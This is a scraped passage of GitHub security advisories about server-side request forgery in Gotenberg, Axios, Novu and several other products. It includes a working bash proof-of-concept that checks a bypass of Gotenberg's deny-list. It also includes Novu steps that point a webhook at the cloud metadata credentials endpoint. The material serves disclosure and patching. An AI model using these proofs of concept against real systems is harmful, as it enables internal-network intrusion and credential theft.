\"--pdfengines-embed-engines=qpdf\"\n  \"--pdfengines-read-bookmarks-engines=qpdf\"\n  \"--pdfengines-write-bookmarks-engines=qpdf\"\n  \"--pdfengines-watermark-engines=qpdf\"\n  \"--pdfengines-stamp-engines=qpdf\"\n  \"--pdfengines-rotate-engines=qpdf\"\n)\n\nred() { printf \u0027\\033[31m%s\\033[0m\\n\u0027 \"$*\"; }\ngreen() { printf \u0027\\033[32m%s\\033[0m\\n\u0027 \"$*\"; }\nblue() { printf \u0027\\033[34m%s\\033[0m\\n\u0027 \"$*\"; }\n\ncleanup() {\n  docker rm -f \"$HELPER_NAME\" \u003e/dev/null 2\u003e\u00261 || true\n  docker rm -f \"$GOTENBERG_NAME\" \u003e/dev/null 2\u003e\u00261 || true\n}\n\nfail() {\n  red \"$1\"\n  printf \u0027\\n--- gotenberg logs ---\\n\u0027\n  docker logs \"$GOTENBERG_NAME\" 2\u003e/dev/null || true\n  printf \u0027\\n--- helper logs ---\\n\u0027\n  docker logs \"$HELPER_NAME\" 2\u003e/dev/null || true\n  exit 1\n}\n\ntrap cleanup EXIT\n\nmkdir -p \"$ARTIFACT_DIR\"\n: \u003e \"$WEBHOOK_LOG\"\n\nif [[ ! -f \"$TEST_PDF\" ]]; then\n  red \"Missing test PDF: $TEST_PDF\"\n  exit 1\nfi\n\nif [[ ! -f \"$DOCKERFILE\" ]]; then\n  red \"Missing Dockerfile: $DOCKERFILE\"\n  exit 1\nfi\n\nif ! docker image inspect \"$IMAGE\" \u003e/dev/null 2\u003e\u00261; then\n  blue \"[1/6] Building slim verification image: $IMAGE\"\n  docker build -q -t \"$IMAGE\" -f \"$DOCKERFILE\" \"$ROOT\" \u003e/dev/null\nelse\n  blue \"[1/6] Reusing existing image: $IMAGE\"\nfi\n\nblue \"[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT\"\ncleanup\ndocker run -d --rm \\\n  --name \"$GOTENBERG_NAME\" \\\n  -p \"$PORT:3000\" \\\n  \"$IMAGE\" \\\n  --webhook-enable-sync-mode=true \\\n  \"${PDF_ENGINE_FLAGS[@]}\" \u003e/dev/null\n\nfor _ in $(seq 1 45); do\n  if curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e\u00261; then\n    break\n  fi\n  sleep 1\ndone\n\nif ! curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e\u00261; then\n  fail \"Gotenberg did not become healthy\"\nfi\n\ncat \u003e \"$HELPER_SCRIPT\" \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom threading import Event, Thread\n\nPDF_PATH = Path(\"/srv/page_1.pdf\")\nLOG_PATH = Path(\"/work/webhook.log\")\nPDF_BYTES = PDF_PATH.read_bytes()\n\n\nclass DownloadHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/pdf\")\n        self.send_header(\"Content-Disposition\", \u0027attachment; filename=\"page_1.pdf\"\u0027)\n        self.send_header(\"Content-Length\", str(len(PDF_BYTES)))\n        self.end_headers()\n        self.wfile.write(PDF_BYTES)\n\n    def log_message(self, fmt, *args):\n        return\n\n\nclass WebhookHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get(\"Content-Length\", \"0\"))\n        body = self.rfile.read(length)\n        with LOG_PATH.open(\"a\", encoding=\"utf-8\") as f:\n            f.write(\n                f\"{self.command} {self.path} len={len(body)} \"\n                f\"content-type={self.headers.get(\u0027Content-Type\u0027, \u0027\u0027)}\\n\"\n            )\n        self.send_response(200)\n        self.end_headers()\n\n    do_PATCH = do_POST\n    do_PUT = do_POST\n\n    def log_message(self, fmt, *args):\n        return\n\n\ndef serve(addr, handler):\n    HTTPServer(addr, handler).serve_forever()\n\n\nThread(target=serve, args=((\"127.0.0.1\", 18081), DownloadHandler), daemon=True).start()\nThread(target=serve, args=((\"127.0.0.1\", 18082), WebhookHandler), daemon=True).start()\n\nprint(\"internal helper ready\", flush=True)\nEvent().wait()\nPY\n\nblue \"[3/6] Starting internal-only helper inside the same network namespace\"\ndocker run -d --rm \\\n  --name \"$HELPER_NAME\" \\\n  --network \"container:$GOTENBERG_NAME\" \\\n  -v \"$TEST_PDF:/srv/page_1.pdf:ro\" \\\n  -v \"$ARTIFACT_DIR:/work\" \\\n  -v \"$HELPER_SCRIPT:/app/internal_helper.py:ro\" \\\n  python:3.11-alpine \\\n  python /app/internal_helper.py \u003e/dev/null\n\nfor _ in $(seq 1 20); do\n  if docker logs \"$HELPER_NAME\" 2\u003e\u00261 | grep -q \"internal helper ready\"; then\n    break\n  fi\n  sleep 1\ndone\n\nif ! docker logs \"$HELPER_NAME\" 2\u003e\u00261 | grep -q \"internal helper ready\"; then\n  fail \"Internal helper did not start\"\nfi\n\nblue \"[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL\"\ndownload_status=\"$(\n  curl -sS \\\n    -o \"$DOWNLOAD_JSON\" \\\n    -w \u0027%{http_code}\u0027 \\\n    -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/metadata/read\" \\\n    -F \"downloadFrom=[{\\\"url\\\":\\\"$DOWNLOAD_BYPASS_URL\\\"}]\"\n)\"\n\nif [[ \"$download_status\" != \"200\" ]]; then\n  cat \"$DOWNLOAD_JSON\" 2\u003e/dev/null || true\n  fail \"downloadFrom verification failed with HTTP $download_status\"\nfi\n\nif ! jq -e \u0027has(\"page_1.pdf\")\u0027 \"$DOWNLOAD_JSON\" \u003e/dev/null 2\u003e\u00261; then\n  cat \"$DOWNLOAD_JSON\" || true\n  fail \"downloadFrom verification failed: expected metadata for page_1.pdf\"\nfi\n\ngreen \"PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\"\n\nblue \"[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL\"\nwebhook_status=\"$(\n  curl -sS \\\n    -o /dev/null \\\n    -w \u0027%{http_code}\u0027 \\\n    -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/flatten\" \\\n    -H \"Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL\" \\\n    -H \"Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL\" \\\n    -F \"files=@$TEST_PDF\"\n)\"\n\nif [[ \"$webhook_status\" != \"204\" ]]; then\n  fail \"webhook verification failed with HTTP $webhook_status\"\nfi\n\nif ! grep -q \u0027^POST /upload \u0027 \"$WEBHOOK_LOG\"; then\n  cat \"$WEBHOOK_LOG\" || true\n  fail \"webhook verification failed: /upload was not hit\"\nfi\n\nif ! grep -q \u0027^POST /events \u0027 \"$WEBHOOK_LOG\"; then\n  cat \"$WEBHOOK_LOG\" || true\n  fail \"webhook verification failed: /events was not hit\"\nfi\n\ngreen \"PASS webhook: Gotenberg POSTed to an internal-only loopback listener\"\n\nblue \"[6/6] Evidence files\"\nprintf \u0027downloadFrom metadata: %s\\n\u0027 \"$DOWNLOAD_JSON\"\nprintf \u0027webhook log:          %s\\n\u0027 \"$WEBHOOK_LOG\"\n\nprintf \u0027\\n--- downloadFrom metadata excerpt ---\\n\u0027\njq \u0027{filename_present: has(\"page_1.pdf\"), sample_keys: (.\"page_1.pdf\" | keys[0:6])}\u0027 \"$DOWNLOAD_JSON\"\n\nprintf \u0027\\n--- webhook log ---\\n\u0027\ncat \"$WEBHOOK_LOG\"\n\nprintf \u0027\\n\u0027\ngreen \"Verification complete\"\nprintf \u0027Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\\n\u0027\n```\n\n### Impact\nThis is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.\n\nAffected users are operators who rely on the default `downloadFrom` and `webhook` deny-lists for SSRF protection. In practice, an attacker can:\n\n- Read content from internal HTTP endpoints through `downloadFrom`.\n- Trigger state-changing POST/PATCH/PUT requests through the `webhook` feature.\n- Reach services bound only to localhost from the perspective of the Gotenberg host or container.\n\n### Remediation\n1. Normalize and structurally validate URLs before any allow-list or deny-list decision.\n   Parse with `net/url`, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.\n\n2. Replace regex-only private-address filtering with resolved IP validation.\n   Resolve the hostname, evaluate every resolved IP with `net/netip`, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.\n\n3. Reconsider the security default for outbound URL features.\n   Either disable `downloadFrom` and `webhook` by default, or ship a strict default policy that only allows `http`/`https` plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to `downloadFrom`, `webhook`, error URLs, and event URLs.",
  "id": "GHSA-4vmc-gm8v-m35h",
  "modified": "2026-05-14T20:52:50Z",
  "published": "2026-05-07T01:15:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42596"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook"
}

GHSA-4VR9-8JJ4-GFWV

Vulnerability from github – Published: 2026-03-21 06:30 – Updated: 2026-03-21 06:30
VLAI
Details

The Performance Monitor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.6. This is due to insufficient validation of the 'url' parameter in the '/wp-json/performance-monitor/v1/curl_data' REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-21T04:16:54Z",
    "severity": "HIGH"
  },
  "details": "The Performance Monitor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.6. This is due to insufficient validation of the \u0027url\u0027 parameter in the \u0027/wp-json/performance-monitor/v1/curl_data\u0027 REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis.",
  "id": "GHSA-4vr9-8jj4-gfwv",
  "modified": "2026-03-21T06:30:24Z",
  "published": "2026-03-21T06:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1648"
    },
    {
      "type": "WEB",
      "url": "https://github.com/assetnote/blind-ssrf-chains"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/performance-monitor/tags/1.0.6/admin/class-curl.php#L50"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/performance-monitor/tags/1.0.6/includes/class-rest-callback.php#L168"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c8f42f17-bce2-421e-9031-bfa0f8c26b2a?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4W2V-Q235-VP99

Vulnerability from github – Published: 2021-01-04 20:59 – Updated: 2022-09-14 20:36
VLAI
Summary
Axios vulnerable to Server-Side Request Forgery
Details

Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28168"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-01-04T20:57:20Z",
    "nvd_published_at": "2020-11-06T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.",
  "id": "GHSA-4w2v-q235-vp99",
  "modified": "2022-09-14T20:36:52Z",
  "published": "2021-01-04T20:59:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28168"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/issues/3369"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/c7329fefc890050edd51e40e469a154d0117fc55"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r25d53acd06f29244b8a103781b0339c5e7efee9099a4d52f0c230e4a@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r954d80fd18e9dafef6e813963eb7e08c228151c2b6268ecd63b35d1f@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rdfd2901b8b697a3f6e2c9c6ecc688fd90d7f881937affb5144d61d6e@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-AXIOS-1038255"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1594"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios vulnerable to Server-Side Request Forgery"
}

GHSA-4W8P-X6G8-FV64

Vulnerability from github – Published: 2022-02-01 00:48 – Updated: 2024-11-19 19:23
VLAI
Summary
Server-Side Request Forgery in calibreweb
Details

calibreweb prior to version 0.6.16 contains a Server-Side Request Forgery (SSRF) vulnerability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "calibreweb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-0339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-31T22:07:47Z",
    "nvd_published_at": "2022-01-30T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "calibreweb prior to version 0.6.16 contains a Server-Side Request Forgery (SSRF) vulnerability.",
  "id": "GHSA-4w8p-x6g8-fv64",
  "modified": "2024-11-19T19:23:22Z",
  "published": "2022-02-01T00:48:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0339"
    },
    {
      "type": "WEB",
      "url": "https://github.com/janeczku/calibre-web/commit/35f6f4c727c887f8f3607fe3233dbc1980d15020"
    },
    {
      "type": "WEB",
      "url": "https://github.com/janeczku/calibre-web/commit/3b216bfa07ec7992eff03e55d61732af6df9bb92"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/janeczku/calibre-web"
    },
    {
      "type": "WEB",
      "url": "https://github.com/janeczku/calibre-web/releases/tag/0.6.16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/calibreweb/PYSEC-2022-23.yaml"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/499688c4-6ac4-4047-a868-7922c3eab369"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Server-Side Request Forgery in calibreweb"
}

GHSA-4W9W-3V73-2RH7

Vulnerability from github – Published: 2022-11-04 19:01 – Updated: 2022-11-08 19:00
VLAI
Details

A vulnerability in the web-based management interface of Cisco BroadWorks CommPilot application could allow an unauthenticated, remote attacker to perform a server-side request forgery (SSRF) attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web interface. A successful exploit could allow the attacker to obtain confidential information from the BroadWorks server and other device on the network. {{value}} ["%7b%7bvalue%7d%7d"])}]]

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-20958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-36",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-04T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the web-based management interface of Cisco BroadWorks CommPilot application could allow an unauthenticated, remote attacker to perform a server-side request forgery (SSRF) attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web interface. A successful exploit could allow the attacker to obtain confidential information from the BroadWorks server and other device on the network. {{value}} [\"%7b%7bvalue%7d%7d\"])}]]",
  "id": "GHSA-4w9w-3v73-2rh7",
  "modified": "2022-11-08T19:00:23Z",
  "published": "2022-11-04T19:01:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20958"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-ssrf-BJeQfpp"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-ssrf-BJeQfpp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4WPP-W5R4-7V5V

Vulnerability from github – Published: 2022-05-24 20:55 – Updated: 2022-05-24 20:55
VLAI
Summary
Server-Side Request Forgery in charm
Details

We've discovered a vulnerability in which attackers could forge HTTP requests to manipulate the charm data directory to access or delete anything on the server. This has been patched in https://github.com/charmbracelet/charm/commit/3c90668f955c7ce5ef721e4fc9faee7053232fd3 and is available in release v0.12.1. We recommend that all users running self-hosted charm instances update immediately.

This vulnerability was found in-house and we haven't been notified of any potential exploiters.

Additional notes

  • Encrypted user data uploaded to the Charm server is safe as Charm servers cannot decrypt user data. This includes filenames, paths, and all key-value data.
  • Users running the official Charm Docker images are at minimal risk because the exploit is limited to the containerized filesystem.

For more information

If you have any questions or comments about this advisory: * Open a discussion * Email us at vt100@charm.sh * Chat with us on Slack


the Charm logo

Charm热爱开源 • Charm loves open source

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/charmbracelet/charm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "0.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-29180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-24T20:55:22Z",
    "nvd_published_at": "2022-05-07T04:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "We\u0027ve discovered a vulnerability in which attackers could forge HTTP requests to manipulate the `charm` data directory to access or delete anything on the server. This has been patched in https://github.com/charmbracelet/charm/commit/3c90668f955c7ce5ef721e4fc9faee7053232fd3 and is available in release [v0.12.1](https://github.com/charmbracelet/charm/releases/tag/v0.12.1). We recommend that all users running self-hosted `charm` instances update immediately.\n\nThis vulnerability was found in-house and we haven\u0027t been notified of any potential exploiters.\n\n### Additional notes\n\n* Encrypted user data uploaded to the Charm server is safe as Charm servers cannot decrypt user data. This includes filenames, paths, and all key-value data.\n* Users running the official Charm [Docker images](https://github.com/charmbracelet/charm/blob/main/docker.md) are at minimal risk because the exploit is limited to the containerized filesystem.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open a [discussion](https://github.com/charmbracelet/charm/discussions)\n* Email us at [vt100@charm.sh](mailto:vt100@charm.sh)\n* Chat with us on [Slack](https://charm.sh/slack)\n\n* * *\n\n\u003ca href=\"https://charm.sh/\"\u003e\u003cimg alt=\"the Charm logo\" src=\"https://stuff.charm.sh/charm-badge.jpg\" width=\"400\"\u003e\u003c/a\u003e\n\nCharm\u70ed\u7231\u5f00\u6e90 \u2022 Charm loves open source",
  "id": "GHSA-4wpp-w5r4-7v5v",
  "modified": "2022-05-24T20:55:22Z",
  "published": "2022-05-24T20:55:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/charm/security/advisories/GHSA-4wpp-w5r4-7v5v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/charm/commit/3c90668f955c7ce5ef721e4fc9faee7053232fd3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/charmbracelet/charm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in charm"
}

GHSA-4WQV-6439-QQQ3

Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33
VLAI
Details

SAP Commerce Cloud (Accelerator Payment Mock), versions - 1808, 1811, 1905, 2005, allows an unauthenticated attacker to submit a crafted request over a network to a particular SAP Commerce module URL which will be processed without further interaction, the crafted request leads to Server Side Request Forgery attack which could lead to retrieval of limited pieces of information about the service with no impact on integrity or availability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-26811"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-10T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "SAP Commerce Cloud (Accelerator Payment Mock), versions - 1808, 1811, 1905, 2005, allows an unauthenticated attacker to submit a crafted request over a network to a particular SAP Commerce module URL which will be processed without further interaction, the crafted request leads to Server Side Request Forgery attack which could lead to retrieval of limited pieces of information about the service with no impact on integrity or availability.",
  "id": "GHSA-4wqv-6439-qqq3",
  "modified": "2022-05-24T17:33:59Z",
  "published": "2022-05-24T17:33:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26811"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/2975170"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=562725571"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/163143/SAP-Hybris-eCommerce-Server-Side-Request-Forgery.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2021/Jun/26"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4X48-CGF9-Q33F

Vulnerability from github – Published: 2026-04-14 23:22 – Updated: 2026-04-14 23:22
VLAI
Summary
Novu has SSRF via conditions filter webhook bypasses validateUrlSsrf() protection
Details

Summary

The conditions filter webhook at libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts line 261 sends POST requests to user-configured URLs using raw axios.post() with no SSRF validation. The HTTP Request workflow step in the same codebase correctly uses validateUrlSsrf() which blocks private IP ranges. The conditions webhook was not included in this protection.

Root Cause

conditions-filter.usecase.ts line 261:

return await axios.post(child.webhookUrl, payload, config).then((response) => {
  return response.data as Record<string, unknown>;
});

No call to validateUrlSsrf(). The webhookUrl comes from the workflow condition configuration with zero validation.

Protected Code (for contrast)

execute-http-request-step.usecase.ts line 130:

const ssrfValidationError = await validateUrlSsrf(url);
if (ssrfValidationError) {
  // blocked
}

This function resolves DNS and checks against private ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16). It exists in the codebase but is not applied to the conditions webhook path.

Proof of Concept

  1. Create a workflow with a condition step
  2. Configure the condition's webhook URL to http://169.254.169.254/latest/meta-data/iam/security-credentials/
  3. Trigger the workflow by sending a notification event
  4. The worker evaluates the condition and calls axios.post() to the metadata endpoint
  5. The response data is stored in execution details and accessible via the execution details API

Impact

Full-read SSRF. The response body is returned as Record<string, unknown> for condition evaluation and stored in the execution details raw field. The GET /execution-details API returns this data.

The POST method limits some metadata endpoints (GCP requires GET, Azure requires GET), but AWS IMDSv1 accepts POST and returns credentials. Internal services accepting POST are also reachable.

Suggested Fix

Extract validateUrlSsrf() to a shared utility and call it before the axios.post in conditions-filter.usecase.ts:

const ssrfError = await validateUrlSsrf(child.webhookUrl);
if (ssrfError) {
  throw new Error('Webhook URL blocked by SSRF protection');
}
return await axios.post(child.webhookUrl, payload, config)...
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@novu/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:22:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe conditions filter webhook at `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` line 261 sends POST requests to user-configured URLs using raw `axios.post()` with no SSRF validation. The HTTP Request workflow step in the same codebase correctly uses `validateUrlSsrf()` which blocks private IP ranges. The conditions webhook was not included in this protection.\n\n## Root Cause\n\n`conditions-filter.usecase.ts` line 261:\n```typescript\nreturn await axios.post(child.webhookUrl, payload, config).then((response) =\u003e {\n  return response.data as Record\u003cstring, unknown\u003e;\n});\n```\n\nNo call to `validateUrlSsrf()`. The `webhookUrl` comes from the workflow condition configuration with zero validation.\n\n## Protected Code (for contrast)\n\n`execute-http-request-step.usecase.ts` line 130:\n```typescript\nconst ssrfValidationError = await validateUrlSsrf(url);\nif (ssrfValidationError) {\n  // blocked\n}\n```\n\nThis function resolves DNS and checks against private ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16). It exists in the codebase but is not applied to the conditions webhook path.\n\n## Proof of Concept\n\n1. Create a workflow with a condition step\n2. Configure the condition\u0027s webhook URL to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`\n3. Trigger the workflow by sending a notification event\n4. The worker evaluates the condition and calls `axios.post()` to the metadata endpoint\n5. The response data is stored in execution details and accessible via the execution details API\n\n## Impact\n\nFull-read SSRF. The response body is returned as `Record\u003cstring, unknown\u003e` for condition evaluation and stored in the execution details `raw` field. The `GET /execution-details` API returns this data.\n\nThe POST method limits some metadata endpoints (GCP requires GET, Azure requires GET), but AWS IMDSv1 accepts POST and returns credentials. Internal services accepting POST are also reachable.\n\n## Suggested Fix\n\nExtract `validateUrlSsrf()` to a shared utility and call it before the axios.post in conditions-filter.usecase.ts:\n\n```typescript\nconst ssrfError = await validateUrlSsrf(child.webhookUrl);\nif (ssrfError) {\n  throw new Error(\u0027Webhook URL blocked by SSRF protection\u0027);\n}\nreturn await axios.post(child.webhookUrl, payload, config)...\n```",
  "id": "GHSA-4x48-cgf9-q33f",
  "modified": "2026-04-14T23:22:48Z",
  "published": "2026-04-14T23:22:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/novuhq/novu/security/advisories/GHSA-4x48-cgf9-q33f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/novuhq/novu/commit/87d965eb88340ac7cd262dd52c8015acd092dc68"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/novuhq/novu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Novu has SSRF via conditions filter webhook bypasses validateUrlSsrf() protection"
}

GHSA-4X9J-CJQ3-HXHF

Vulnerability from github – Published: 2024-07-22 12:30 – Updated: 2024-07-22 12:30
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Noor alam Magical Addons For Elementor.This issue affects Magical Addons For Elementor: from n/a through 1.1.41.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-38730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
